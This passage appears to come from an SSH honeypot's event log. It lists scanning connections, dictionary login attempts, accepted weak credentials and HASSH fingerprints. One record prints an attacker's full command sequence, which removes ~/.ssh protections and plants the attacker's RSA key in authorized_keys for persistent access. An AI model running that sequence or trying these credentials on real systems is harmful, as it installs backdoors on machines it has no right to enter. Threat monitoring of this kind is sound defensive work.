  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "botuser",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:45:04.619834 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8712f18e9b3c
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "8712f18e9b3c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:45:04.619834Z",
  "end_time": "2026-07-28T15:47:04.630383Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:43:06.370220 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 117fd474c9af
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "117fd474c9af",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:43:06.370220Z",
  "end_time": "2026-07-28T15:45:06.375651Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
176.53.159.196
2026-07-28 15:42:42.234622 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: abdb4c986807
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "abdb4c986807",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:42:42.234622Z",
  "end_time": "2026-07-28T15:42:43.396829Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:41:10.183965 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlabuser

Record ID: b6b40393b29a
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "b6b40393b29a",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:41:10.183965Z",
  "end_time": "2026-07-28T15:41:13.427035Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "gitlabuser",
      "pass": "gitlabuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:39:09.588658 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 00ec20b5a7a0
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "00ec20b5a7a0",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:39:09.588658Z",
  "end_time": "2026-07-28T15:41:09.641157Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
170.64.167.72
2026-07-28 15:38:21.680613 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 338a504de5c7
Client Version: SSH-2.0-OPENSSH_7.9
Engagement Duration: 0.6s
HASSH Fingerprint: b21d7cdcc8133dc2b430d1a039fece20
{
  "id": "338a504de5c7",
  "src_ip": "170.64.167.72",
  "start_time": "2026-07-28T15:38:21.680613Z",
  "end_time": "2026-07-28T15:38:22.322829Z",
  "duration": "0.6",
  "version": "SSH-2.0-OPENSSH_7.9",
  "hassh": "b21d7cdcc8133dc2b430d1a039fece20",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
120.87.99.202
2026-07-28 15:37:12.147854 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1dc259ed0f11
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "1dc259ed0f11",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:37:12.147854Z",
  "end_time": "2026-07-28T15:39:12.154796Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
8.134.159.4
2026-07-28 15:37:03.467420 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0aa671620d2a
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "0aa671620d2a",
  "src_ip": "8.134.159.4",
  "start_time": "2026-07-28T15:37:03.467420Z",
  "end_time": "2026-07-28T15:37:04.694098Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
8.134.159.4
2026-07-28 15:37:00.032968 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 022712208e70
Client Version: Unknown
Engagement Duration: 3.2s
{
  "id": "022712208e70",
  "src_ip": "8.134.159.4",
  "start_time": "2026-07-28T15:37:00.032968Z",
  "end_time": "2026-07-28T15:37:03.282826Z",
  "duration": "3.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
2.57.121.25
2026-07-28 15:36:04.780285 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / afrodita

Record ID: 98c8ca055be6
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "98c8ca055be6",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-28T15:36:04.780285Z",
  "end_time": "2026-07-28T15:36:10.821527Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "afrodita"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:35:12.169340 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 85f334990bc7
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "85f334990bc7",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:35:12.169340Z",
  "end_time": "2026-07-28T15:37:12.174172Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:33:17.227696 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mpi

Record ID: 64bdb7e6acac
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.4s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "64bdb7e6acac",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:33:17.227696Z",
  "end_time": "2026-07-28T15:33:20.611842Z",
  "duration": "3.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mpi",
      "pass": "mpi"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:32:00.218991 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 55b409533b88
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.4s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "55b409533b88",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:32:00.218991Z",
  "end_time": "2026-07-28T15:32:01.593677Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:31:57.731177 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 62aaa2f55fb6
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "62aaa2f55fb6",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:31:57.731177Z",
  "end_time": "2026-07-28T15:31:59.991441Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:31:50.008445 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / bhu8*UHB

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: ad8f0998f703
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 11.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "ad8f0998f703",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:31:50.008445Z",
  "end_time": "2026-07-28T15:32:01.579194Z",
  "duration": "11.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "bhu8*UHB"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
120.87.99.202
2026-07-28 15:29:54.119465 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 33717407ed05
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "33717407ed05",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:29:54.119465Z",
  "end_time": "2026-07-28T15:31:54.128161Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:27:58.433353 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d92ed6f3ca99
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "d92ed6f3ca99",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:27:58.433353Z",
  "end_time": "2026-07-28T15:29:58.441935Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}